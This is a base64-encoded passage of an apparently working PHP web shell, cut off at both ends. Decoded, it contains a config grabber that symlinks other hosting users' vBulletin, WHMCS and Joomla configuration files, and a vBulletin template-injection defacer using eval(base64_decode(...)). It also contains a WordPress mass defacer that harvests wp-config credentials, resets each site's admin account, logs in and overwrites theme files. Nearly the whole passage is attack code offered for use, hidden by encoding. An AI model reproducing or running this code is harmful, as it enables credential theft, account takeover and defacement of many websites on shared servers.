Jy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictdmItY29uZmlnLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0xNS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jZW50cmFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1jZW50cmFsLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0td2htY3MudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1XSE1DUy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG1jLVdITS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG1jcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXN1cHBvcnQudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCR1c2VyLictd2htY3MyLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0udHh0Jyk7fQplY2hvICc8Yj48Zm9udCBmYWNlPSJIb21lbmFqZSIgY29sb3I9InNwcmluZ2dyZWVuIiBzaXplPSIzcHQiPjxiPlNlbGVzYWkgQnJvIE1vbmdnbyA+PjwvYj4gPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IlNhZC1Db25mIj5IYWphciBDb25maWc8L2E+PC9mb250PjwvYj4nO30KZGllKCk7Cn0KLy8vLy8vLyBDdWt1cCBTYW1wYWkgRGlzaW5pIHlhIEdyYWJiZXIgOiggLy8vLy8vLy8KCmVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3ZiJykpIHsKICAgIGlmIChlbXB0eSgkX1BPU1RbJ2luZGV4J10pKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IEN5YmVyVGVhbVJveDwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iOwogICAgfSBlbHNlIHsKICAgICAgICAkbG9jYWxob3N0ID0gJF9QT1NUWydsb2NhbGhvc3QnXTsKICAgICAgICAkZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOwogICAgICAgICR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiAgICAgICAgJHBhc3N3b3JkICA9ICRfUE9TVFsncGFzc3dvcmQnXTsKICAgICAgICAkcGVyZml4ICAgID0gJF9QT1NUWydwZXJmaXgnXTsKICAgICAgICAkaW5kZXggICAgID0gJF9QT1NUWydpbmRleCddOwogICAgICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsICR1c2VybmFtZSwgJHBhc3N3b3JkKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICAkaW5kZXggICAgID0gc3RyX3JlcGxhY2UoIlwnIiwgIiciLCAkaW5kZXgpOwogICAgICAgICRzZXRfaW5kZXggPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7CiAgICAgICAgJHNldF9pbmRleCAuPSBiYXNlNjRfZW5jb2RlKCJlY2hvICckaW5kZXgnOyIpOwogICAgICAgICRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsKICAgICAgICAkb2sgPSBAbXlzcWxfcXVlcnkoIlVQREFURSAiIC4gJHBlcmZpeCAuICJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciIC4gJHNldF9pbmRleCAuICInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICBpZiAoJG9rKSB7CiAgICAgICAgICAgIGVjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7CiAgICAgICAgfQogICAgfQp9CgogZWxzZWlmIChpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnd20nKSkgewogICAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAiMCIpOwogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICBAc2Vzc2lvbl9zdGFydCgpOwogICAgJGJhc2VfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy8nOwogICAgZnVuY3Rpb24gZW50cmUydjIoJHRleHQsICRtYXJxdWV1ckRlYnV0TGllbiwgJG1hcnF1ZXVyRmluTGllbiwgJGkgPSAxKQogICAgewogICAgICAgICRhcjAgPSBleHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOwogICAgICAgICRhcjEgPSBleHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbJGldKTsKICAgICAgICByZXR1cm4gdHJpbSgkYXIxWzBdKTsKICAgIH0KICAgIGZ1bmN0aW9uIHJhbmRvbXQoKQogICAgewogICAgICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsKICAgICAgICBzcmFuZCgoZG91YmxlKSBtaWNyb3RpbWUoKSAqIDEwMDAwMDApOwogICAgICAgICRpICAgID0gMDsKICAgICAgICAkcGFzcyA9ICcnOwogICAgICAgIHdoaWxlICgkaSA8PSA3KSB7CiAgICAgICAgICAgICRudW0gID0gcmFuZCgpICUgMzM7CiAgICAgICAgICAgICR0bXAgID0gc3Vic3RyKCRjaGFycywgJG51bSwgMSk7CiAgICAgICAgICAgICRwYXNzID0gJHBhc3MgLiAkdG1wOwogICAgICAgICAgICAkaSsrOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHBhc3M7CiAgICB9CiAgICBmdW5jdGlvbiBpbmRleF9jaGFuZ2VyX3dwKCRjb25mLCAkY29udGVudCkKICAgIHsKICAgICAgICAkb3V0cHV0ICAgPSAnJzsKICAgICAgICAkZG9sICAgICAgPSAnJCc7CiAgICAgICAgJHVzZXJuYW1lID0gZW50cmUydjIoJGNvbmYsICJkZWZpbmUoJ0RCX1VTRVInLCAnIiwgIicpOyIpOwogICAgICAgICRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCAiZGVmaW5lKCdEQl9QQVNTV09SRCcsICciLCAiJyk7Iik7CiAgICAgICAgJGRibmFtZSAgID0gZW50cmUydjIoJGNvbmYsICJkZWZpbmUoJ0RCX05BTUUnLCAnIiwgIicpOyIpOwogICAgICAgICRwcmVmaXggICA9IGVudHJlMnYyKCRjb25mLCAkZG9sIC4gInRhYmxlX3ByZWZpeCAgPSAnIiwgIiciKTsKICAgICAgICAkaG9zdCAgICAgPSBlbnRyZTJ2MigkY29uZiwgImRlZmluZSgnREJfSE9TVCcsICciLCAiJyk7Iik7CiAgICAgICAgJGxpbmsgICAgID0gbXlzcWxfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpOwogICAgICAgIGlmICgkbGluaykgewogICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJGxpbmspOwogICAgICAgICAgICAkZG9sICA9ICckJzsKICAgICAgICAgICAgJHJlcTEgPSBteXNxbF9xdWVyeSgiVVBEQVRFIGAiIC4gJHByZWZpeCAuICJ1c2Vyc2AgU0VUIGB1c2VyX2xvZ2luYCA9ICdrMicsYHVzZXJfcGFzc2AgPSAnNDI5N2Y0NGIxMzk1NTIzNTI0NWIyNDk3Mzk5ZDdhOTMnIFdIRVJFIGBJRGAgPSAxIik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG91dHB1dCAuPSAiWy1dIERCIEVycm9yPGJyPiI7CiAgICAgICAgfQogICAgICAgIGlmICgkcmVxMSkgewogICAgICAgICAgICAkcmVxICAgICAgICAgICA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIiAuICRwcmVmaXggLiAib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2hvbWUnIik7CiAgICAgICAgICAgICRkYXRhICAgICAgICAgID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7CiAgICAgICAgICAgICRzaXRlX3VybCAgICAgID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOwogICAgICAgICAgICAkcmVxICAgICAgICAgICA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIiAuICRwcmVmaXggLiAib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J3RlbXBsYXRlJyIpOwogICAgICAgICAgICAkZGF0YSAgICAgICAgICA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOwogICAgICAgICAgICAkdGVtcGxhdGUgICAgICA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTsKICAgICAgICAgICAgJHJlcSAgICAgICAgICAgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIgLiAkcHJlZml4IC4gIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOwogICAgICAgICAgICAkZGF0YSAgICAgICAgICA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOwogICAgICAgICAgICAkY3VycmVudF90aGVtZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTsKICAgICAgICAgICAgJHVzZXJhZ2VudCAgICAgPSAiTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7CiAgICAgICAgICAgICR1cmwyICAgICAgICAgID0gJHNpdGVfdXJsIC4gIi93cC1sb2dpbi5waHAiOwogICAgICAgICAgICAkY2ggICAgICAgICAgICA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7CiAgICAgICAgICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgJHBvcyAgICA9IHN0cnBvcygkYnVmZmVyLCAiYWN0aW9uPWxvZ291dCIpOwogICAgICAgICAgICBpZiAoJHBvcyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gIlstXSBTdWNjZXNzZnVsIExvZ2luPGJyPiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICJbK10gU3VjY2Vzc2Z1bCBMb2dpbjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR1cmwyID0gJHNpdGVfdXJsIC4gIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwP2ZpbGU9L3RoZW1lcy8iIC4gJHRlbXBsYXRlIC4gJy9pbmRleC5waHAmdGhlbWU9JyAuIHVybGVuY29kZSgkY3VycmVudF90aGVtZSkgLiAnJmRpcj10aGVtZSc7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsKICAgICAgICAgICAgJGJ1ZmZlcjAgID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9Il93cG5vbmNlIiBuYW1lPSJfd3Bub25jZSIgdmFsdWU9IicsICciIC8+Jyk7CiAgICAgICAgICAgICRfZmlsZSAgICA9IGVudHJlMnYyKCRidWZmZXIwLCAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicsICciIC8+Jyk7CiAgICAgICAgICAgIGlmIChzdWJzdHJfY291bnQoJF9maWxlLCAiL2luZGV4LnBocCIpICE9IDApIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICJbLV0gaW5kZXgucGhwIFVuYWJsZSB0byBvcGVuPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHVybDIgPSAkc2l0ZV91cmwgLiAiL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHAiOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJuZXdjb250ZW50PSIgLiAkY29udGVudCAuICImYWN0aW9uPXVwZGF0ZSZmaWxlPSIgLiAkX2ZpbGUgLiAiJl93cG5vbmNlPSIgLiAkX3dwbm9uY2UgLiAiJnN1Ym1pdD1VcGRhdGUgRmlsZSIpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOwogICAgICAgICAgICAkYnVmZmVyID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgJHBvcyAgPSBzdHJwb3MoJGJ1ZmZlciwgJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIj4nKTsKICAgICAgICAgICAgJGNvbmQgPSAwOwogICAgICAgICAgICBpZiAoJHBvcyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gIlstXSBpbmRleC5waHAgRmFpbGVkPGJyPiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjsKICAgICAgICAgICAgICAgICRjb25kID0gMTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRvdXRwdXQgLj0gIlstXSBEQiBFcnJvcjxicj4iOwogICAgICAgIH0KICAgICAgICBnbG9iYWwgJGJhc2VfcGF0aDsKICAgICAgICB1bmxpbmsoJGJhc2VfcGF0aCAuICdDT09LSUUudHh0Jyk7CiAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAnY29uZCcgPT4gJGNvbmQsCiAgICAgICAgICAgICdvdXRwdXQnID0+ICRvdXRwdXQKICAgICAgICApOwogICAgfQogICAgZnVuY3Rpb24gZXhlY19tb2RlXzEoJGRlZl91cmwpCiAgICB7CiAgICAgICAgQG1rZGlyKCdzeW0nLCAwNzc3KTsKICAgICAgICAkd3IgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRmcCA9IEBmb3Blbignc3ltLy5odGFjY2VzcycsICd3Jyk7CiAgICAgICAgZndyaXRlKCRmcCwgJHdyKTsKICAgICAgICBAc3ltbGluaygnLycsICdzeW0vcm9vdCcpOwogICAgICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsKICAgICAgICAkb3V0WzFdICAgICAgICAgID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOwogICAgICAgICRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTsKICAgICAgICBlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7CiAgICAgICAgJGRlZiAgICAgICAgICAgICAgICA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTsKICAgICAgICAkZGVmICAgICAgICAgICAgICAgID0gdXJsZW5jb2RlKCRkZWYpOwogICAgICAgICRiYXNlX3VybCAgICAgICAgICAgPSAnaHR0cDovLycgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuIGRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pIC4gJy9zeW0vcm9vdC9ob21lLyc7CiAgICAgICAgJG91dHB1dCAgICAgICAgICAgICA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsKICAgICAgICAkX1NFU1NJT05bJ2NvdW50MSddID0gKGlzc2V0KCRfR0VUWydzdCddKSAmJiAkX0dFVFsnc3QnXSAhPSAnJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDogMCkgOiAwOwogICAgICAgICRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddICE9ICcnKSA/IChpc3NldCgkX1NFU1NJT05bJ2NvdW50MiddKSA/ICRfU0VTU0lPTlsnY291bnQyJ10gOiAwKSA6IDA7CiAgICAgICAgZWNobyAnPHRhYmxlIHN0eWxlPSJ3aWR0aDo3NSU7Ij48dHIgc3R5bGU9ImJhY2tncm91bmQ6cmdiYSgxNjAsIDgyLCA0NSwwLjYpOyI+PHRoPklEPC90aD48dGg+U0lEPC90aD48dGg+RG9tYWluPC90aD48dGg+U2NyaXB0PC90aD48dGg+UHJvY2VzczwvdGg+PHRoPlJlc3VsdHM8L3RoPjwvdHI+JzsKICAgICAgICAkaiAgPSAxOwogICAgICAgICRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10gIT0gJycpID8gJF9HRVRbJ3N0J10gOiAwOwogICAgICAgIGZvciAoJGkgPSAkc3Q7ICRpIDw9ICRudW1lcm9fZG9taW5pb3M7ICRpKyspIHsKICAgICAgICAgICAgJGRvbWFpbiAgICAgICA9ICRvdXRbMV1bJGldOwogICAgICAgICAgICAkZG9ub19hcnF1aXZvID0gQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbik7CiAgICAgICAgICAgICRpbmZvcyAgICAgICAgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7CiAgICAgICAgICAgICRjb25maWcwMiAgICAgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VfdXJsIC4gJGluZm9zWyduYW1lJ10gLiAiL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTsKICAgICAgICAgICAgJGNscyAgICAgICAgICA9ICgkaiAlIDIgPT0gMCkgPyAnY2xhc3M9ImV2ZW4iJyA6ICdjbGFzcz0ib2RkIic7CiAgICAgICAgICAgIGlmICgkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsICRjb25maWcwMikpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzx0ciAnIC4gJGNscyAuICc+PHRkIGFsaWduPSJjZW50ZXIiPicgLiAoJGorKykgLiAnPC90ZD48dGQgYWxpZ249ImNlbnRlciI+JyAuICRpIC4gJzwvdGQ+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nIC4gJGRvbWFpbiAuICciIHRhcmdldD0iYmxhbmsiPicgLiAkZG9tYWluIC4gJzwvYT48L3RkPic7CiAgICAgICAgICAgICAgICBlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsKICAgICAgICAgICAgICAgICRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCRjb25maWcwMiwgJGRlZik7CiAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JyAuICRyZXNbJ291dHB1dCddIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgIGlmICgkcmVzWydjb25kJ10pIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5IQUNLRUQ8L3NwYW4+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycgLiAkZG9tYWluIC4gIjxicj4iKTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj51bnN1Y2Nlc3NmdWw8L3NwYW4+PC90ZD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICBlY2hvICc8aHIvPic7CiAgICAgICAgZWNobyAnVG90YWwgRGVmYWNlID0gJyAuICgkX1NFU1NJT05bJ2NvdW50MSddICsgJF9TRVNTSU9OWydjb3VudDInXSkgLiAnPGJyPic7CiAgICAgICAgZWNobyAnPGEgaHJlZj0iZGVmYWNlZC5odG1sIiB0YXJnZXQ9Il9ibGFuayI+TGlzdCBXZWJzaXRlcyBEZWZhY2VkPC9hPjxicj4nOwogICAgfQogICAgZWNobyAnPGhlYWQ+PHA+PGgyIHN0eWxlPSJjb2xvcjojRkYwMDAwO3RleHQtYWxpZ246IGNlbnRlcjtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDsiPldvcmRwcmVzcyBNYXNzIERlZmFjZXI8L2gyPjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5IHtjb2xvcjogd2hpdGU7Zm9udC1mYW1pbHk6ICJvcmJpdHJvbiI7fS5oZWFkZXIge3Bvc2l0aW9uOmZpeGVkO3dpZHRoOjEwMCU7dG9wOjA7YmFja2dyb3VuZDojMDAwO30uZm9vdGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO2JvdHRvbTowO2JhY2tncm91bmQ6IzAwMDt9PC9zdHlsZT48L3A+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIGNoYW5nZSgpIHtpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3JjZFwnKS5jaGVja2VkID09IHRydWUpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdcJzt9IGVsc2Uge2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwndHJhXCcpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzt9IH1mdW5jdGlvbiBoaWRlKCkge2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwndHJhXCcpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzt9PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImZvb3RlciI+PGEgaHJlZj0iaHR0cHM6Ly9mYWNlYm